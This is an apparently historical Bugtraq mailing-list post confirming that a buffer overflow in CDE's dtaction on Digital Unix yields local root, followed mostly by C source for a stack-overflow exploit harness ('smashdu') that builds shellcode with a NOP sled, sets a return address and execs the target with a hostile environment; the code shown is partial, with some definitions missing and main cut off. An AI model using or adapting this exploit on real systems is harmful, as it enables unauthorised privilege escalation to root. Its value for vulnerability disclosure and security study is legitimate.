Date: Чт, 16 сен 1999 23:38:51
От: Zack Hubert <zhubert@UWPN.ORG>
Кому: BUGTRAQ@SECURITYFOCUS.COM
Тема: Vulnerability in dtaction on Digital Unix
--------------------------------------------------------------------------------
Hello,
I have verified that the dtaction vulnerability in CDE can be exploited for
local root compromise on Digital Unix systems.
Background
--------------
This is a followup to the issue first introduced by Job de Haas on the
buffer overflow present within /usr/dt/bin/dtaction. He had verified that
the problem exists on Solaris 7, 2.6, 2.5.1. Lamont Granquist then posted a
followup saying it was exploitable on Digital Unix's implementation of CDE.
I have found Lamont's original assessment to be correct.
Code
------
Note: This was all written by Lamont Granquist and distributed under
previous Digital Unix overflows. There is a slight modification however.
Compile smashdu, change the perl script to match your location, put some
kind of paperweight on your enter key (believe me!), and voila, root.
int nop = 0x47ff041f;
int shellcodesize = 0;
int padding = 0;
int overflowsize = 0;
long retaddr = 0x11fffff24;
void usage(void) {
fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
fprintf(stderr, " -e: add a variable to the environment\n");
fprintf(stderr, " -r: change ra from default 0x11fffff24\n");
fprintf(stderr, " shellsize: size of shellcode on the heap\n");
fprintf(stderr, " pad: padding to alighn the shellcode correctly\n");
fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n");
fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n");
fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
fprintf(stderr, "/foo/bar %%e\n");
exit(-1);
}
/* this handles generation of shellcode of the appropriate size and with
appropriate padding bytes for alignment. the padding argument should
typically only be 0,1,2,3 and the routine is "nice" in that if you feed
it the size of your malloc()'d buffer it should prevent overrunning it
by automatically adjusting the shellcode size downwards. */
int genshellcode(char *shellcode, int size, int padding) {
int i, s, n;
char *rp;
char *sp;
char *np;
rp = (char *)rawcode;
sp = (char *)shellcode;
np = (char *)&nop;
s = size;
/* first we pad */
for(i=0;i<padding;i++) {
*sp = 0x6e;
sp++;
s--;
}
/* then we copy over the first 72 bytes of the shellcode */
for(i=0;i<72;i++) {
*sp = rp[i];
sp++;
s--;
}
if (s % 4 != 0) {
n = s % 4;
s -= n;
printf("shellcode truncated to %d bytes\n", size - n);
}
/* then we add the nops */
for(i=0; s > 8; s--, i++) {
*sp = np[i % 4];
sp++;
}
n = i / 4; /* n == number of nops */
/* then we add the tail 2 instructions */
for(i=0; i < 8; i++) {
*sp = rp[i+72];
if(i==0) /* here we handle modifying the branch instruction */
*sp -= n;
*sp++;
}
}
int main(argc, argv)
int argc;
char *argv[];
{
char *badargs[MAXARG];
char *badenv[MAXENV];
long i, *ip, p;
char *cp, *ocp;
int c, env_idx, overflow_idx;
env_idx = 0;
while ((c = getopt(argc, argv, "e:r:")) != EOF) {
switch (c) {
case 'e': /* add an env variable */
badenv[env_idx++] = optarg;
if (env_idx >= MAXENV - 2) {
fprintf(stderr, "too many envs, ");
fprintf(stderr, "try increasing MAXENV and recompiling\n");
exit(-1);
}
break;
case 'r': /* change default ra */
sscanf(optarg, "%x", &retaddr);
break;
default:
usage();
/* NOTREACHED */
}
}
/* here is where we actually shovel the shellcode into the environment */
badenv[env_idx] = malloc(1024);
genshellcode(badenv[env_idx++],shellcodesize,padding);
badenv[env_idx] = NULL;
/* and now we call our program with the hostile args */
execve(badargs[0], badargs, badenv);